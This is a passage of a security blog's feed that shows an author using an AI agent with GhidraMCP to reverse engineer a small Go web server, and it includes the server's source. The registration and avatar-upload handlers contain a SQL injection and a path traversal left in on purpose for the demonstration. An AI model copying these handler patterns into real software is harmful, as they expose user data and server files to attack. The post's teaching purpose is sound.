class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>原本故意留做 SQL injection 的地方，現在反倒被修好了，代表他逆向出來的是錯的。</p><p>不過檔案上傳的那個 path traversal 還在，而且他有輕鬆找出來：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10.png" alt="vulnerability"></p><p>上面的結果因為我額度快用完了，所以是用 Cursor 自己出的 composer 1.5 模型，沒這麼聰明。</p><p>我換成 Opus 4.6 以後，同樣的 prompt 它還原完成之後還順便幫我做了個資安檢查，該找的漏洞有找出來，只是 route 的部分依舊有錯，<code>/me</code> 變成了 <code>/my</code>，我以為這些應該是可以完整被還原的？</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11.png" alt="opus findings"></p><h2><span id="結語">結語</span></h2><p>得益於 AI agent 的進化外加 MCP 的機制，讓 agent 可以自由操作許多不同的軟體來幫助自動化。</p><p>老實說，我在逆向這件事情上有體驗到那些所謂的 vibe coder 在做產品時的喜悅，也就是：「沒想到不會寫 code 的我也可以弄出一個網站，雖然我不知道原理，但東西好像做出來了」。</p><p>但 vibe coding 會有許多不會寫 code 沒辦法發現的小問題，純靠 AI 逆向我想也是相同的。就像我一開始用 composer 1.5，出來的結果是錯的一樣。但換個方式想，整體流程跟 API endpoints 這些都是對的，也算是收穫不少了。</p><p>原本靠自己的話是 0 分，靠 AI 可以先拿到保底 60 分，怎麼想都很賺。</p><p>時代在進化，工具在進步，這篇想記錄一下自己靠著這些工具，用 AI agent 做簡單的逆向工程的流程。雖然說最後跑出來的結果還是有些許錯誤，但對於一個 web server 來說，拿到 binary 逆向之後得到的東西可以再結合動態測試去驗證，就算有點小錯誤，還是對於整體測試幫助很大。</p><p>這次跑完之後，我還是會覺得逆向工程很難，也還是覺得懂逆向的人很厲害。畢竟我這次跑的是小的 binary，大的我就不確定會怎樣了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。&lt;/p&gt;
&lt;p&gt;但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。&lt;/p&gt;
&lt;p&gt;不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。&lt;/p&gt;
&lt;p&gt;先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。&lt;/p&gt;
&lt;p&gt;而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>Using AI to Do Simple Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:57:47.804Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.</p><p>However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.</p><p>But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.</p><p>To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.</p><p>For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.</p><span id="more"></span><h2><span id="environment-preparation">Environment Preparation</span></h2><p>To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>For the content, I’ll just paste a few of the main files. One is the route:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Next are the two intentionally embedded vulnerabilities: SQL injection during registration:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And path traversal during file upload:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="preliminary-work">Preliminary Work</span></h2><p>Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>When analyzing, remember to check the relevant options:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>After the analysis, you can actually see more detailed information in Ghidra:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.</p><p>So, we need to install something that truly connects AI with Ghidra: <a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.</p><p>After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Up to this point, the preliminary work is ready.</p><p>By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.</p><h2><span id="start-commanding-the-ai-agent-to-work">Start Commanding the AI Agent to Work</span></h2><p>Next, it’s time to reverse engineer using my words. I just told it this:</p><blockquote><p>I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.</p></blockquote><p>It will start calling MCP by itself and searching for what it wants:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4-en.jpg" alt="mcp call"></p><p>Here is the translated content:</p><p>Finally, here are the libraries used by this binary:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5-en.jpg" alt="reversed libraty"></p><p>And the API routes:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6-en.jpg" alt="reversed api route"></p><p>And the inferred file structure:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8-en.jpg" alt="file structure"></p><p>Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9-en.jpg" alt="c to golang"></p><p>As a result, the routes.go it reverse-engineered looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.</p><p>In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, <code>/my-messages</code> does not exist; it should be <code>/me/messages</code>. <code>/avatar</code> should also be <code>/me/avatar</code>. It seems some parts were skipped lazily.</p><p>The registration part looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token 